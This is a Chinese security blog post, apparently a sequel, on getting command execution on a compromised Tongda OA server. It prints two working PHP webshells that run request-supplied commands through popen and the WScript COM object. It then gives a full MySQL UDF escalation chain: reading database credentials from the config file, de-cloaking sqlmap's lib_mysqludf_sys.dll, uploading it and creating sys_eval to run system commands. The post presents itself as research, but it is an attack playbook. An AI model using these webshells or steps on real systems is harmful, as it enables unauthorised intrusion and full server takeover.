某知名OA命令執行方法探索(續)

盛邦安全發表於2022-08-26

在上一篇文章之後,有小夥伴留言問通達OA獲取許可權後如何才能執行命令。本來是想留下一個小的懸念給大家,既然有人問起,我們們就把這個問題繼續探討一下。


傳送門:

某知名OA高版本getshell思路(附部分指令碼)


0x01 回顧過去


熟悉通達的小夥伴都知道通達是屬於整合安裝環境,和一般的CMS不同,通達安裝好之後是自帶配置好的WEB伺服器nginx,一般來說不存在環境問題導致的差異。通達在配置中預設配置了disable_functions選項,禁止了常見的命令執行函式,甚至就連phpinfo也是禁用的。為了測試方便,在後續的分析中都手動去除了phpinfo不能執行的限制。


在老版本的通達(大約11.4)中,對disable_functions配置的有明顯的缺陷,早期版本的通達配置如圖1.1所示。

圖片

圖1.1 早期通達OA的disable_functions配置


從圖1.1中可以看出在禁用的函式中缺陷了popen函式,所以可以透過popen函式來執行系統命令,相關程式碼如下所示。


基於popen的命令執行

     <?php
     @putenv("PATH=".getenv("PATH").";C:/Windows/system32;");
     $fp=@popen($_REQUEST['cmd'],'r');
     while(!@feof($fp)) {  
       print(@fgets($fp,2048));
     }
     @pclose($fp);


    另外網上也早有文章提到可以透過Windows的Com元件來執行命令,相關程式碼如下所示。


    基於WScript的命令執行

       <?php
       $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
       $exec=$phpwsh->exec("cmd.exe /c ".$_REQUEST['cmd']."");  
       $stdout = $exec->StdOut();  
       $stroutput = $stdout->ReadAll();  
       echo $stroutput;exit();
       ?>


      透過這兩種方式都可以達到命令執行的效果,如圖1.2所示。

      圖片

      圖1.2 早期版本通達命令執行的方式


      但是這兩種方式在新版本的通達中均無法使用,首先來看新版本通達的disable_functions配置,如圖1.3所示。

      圖片

      圖1.3 新版本通達OA的disable_functions配置


      可以看出在新版本中明顯修復了早期版本中漏掉的popen函式,雖然並沒有在disableClassed中禁用Com元件相關的類,但是實際上通達OA已經默默關閉了Com元件,如圖1.4所示。

      圖片

      圖1.4 對比新舊版版通達OA對Com元件支援的差異


      所以上面的兩種命令執行的方式對於新通達來說都已經不適用了,如果我們在哥斯拉中連線通達OA的webshell,在執行命令中會看到如圖1.5所示的報錯。

      圖片

      圖1.5 通達OA命令執行報錯


      0x02 面對現實


      仔細檢視圖1.3的disable_functions中,我們可以想到下面的繞過方式。


      1) 利用LD_PRELOAD記載惡意so檔案達到執行命令的效果行不行?答案是不行,一般來說通達OA都是windows的環境,不適用這種方式。

      2) pcntl_exec函式沒有在disable_functions的列表中,能不能利用這個函式來執行命令?答案也是不行,通達預設安裝的環境沒有pcntl擴充套件。

      3) 利用ImageMagick來執行命令列不行?答案還是不行,預設安裝的環境沒有ImageMagick擴充套件。


      目前想直接繞過disable_functions來執行命令已經是一件很難的事情了,換一種思路,我們目前有一個檔案管理的webshell,並且通達OA預設安裝都是system許可權。怎麼透過檔案操作來執行命令呢?一種最簡單的方式是直接把馬上傳到自啟動目錄,等待伺服器重啟,然後執行命令,這種是不是可行呢?可行,但是效果不好,一般不會這麼用。因為一方面要等待伺服器重啟,這個條件不滿足實際攻擊場景,另一方面修改自啟動目錄容易被殺軟攔截。


      一種更好的辦法是透過mysql udf來執行命令,整個利用過程如下所示。


      1) 找到通達OA的資料庫配置檔案webroot/inc/oa_config.php。通達OA的原始碼檔案預設是加密的,但是配置檔案是不加密的,所以可以直接開啟檢視,如圖2.1所示。

      圖片

      圖2.1 資料庫配置檔案


      2) 生成udf.dll檔案,網上雖然可以直接下載到很多udf.dll,但是不確定是不是有後門。而且其他隨意下載的udf.dll檔案經常導致資料庫崩潰(多次血與淚的教訓,dll不對會導致網站崩潰)。我強烈建議大家使用sqlmap自帶的udf.dll檔案,但是預設情況下sqlmap的udf是混淆過的,需要使用其自帶的cloak工具轉換回來才能使用。

        python extra/cloak/cloak.py -d -i data/udf/mysql/windows/64/lib_mysqludf_sys.dll_


        使用上面的命令,會在lib_mysqludf_sys.dll_檔案所在目錄生成一個lib_mysqludf_sys.dll的檔案,這個才是能被直接使用的udf提權dll檔案。


        3) 把剛才生成的檔案lib_mysqludf_sys.dll上傳到目標的mysql5/lib/plugin目錄,預設情況下不存在這個目錄,需要建立目錄。


        4) 連線資料庫,執行下面的語句

           create function sys_exec RETURNS int soname 'lib_mysqludf_sys.dll'//執行命令返回狀態碼
          create function sys_eval returns string soname 'lib_mysqludf_sys.dll '; //執行命令返回命令執行結果

          select sys_eval("whoami");


          圖片

           如此方能在新版本中成功執行命令。

          相關文章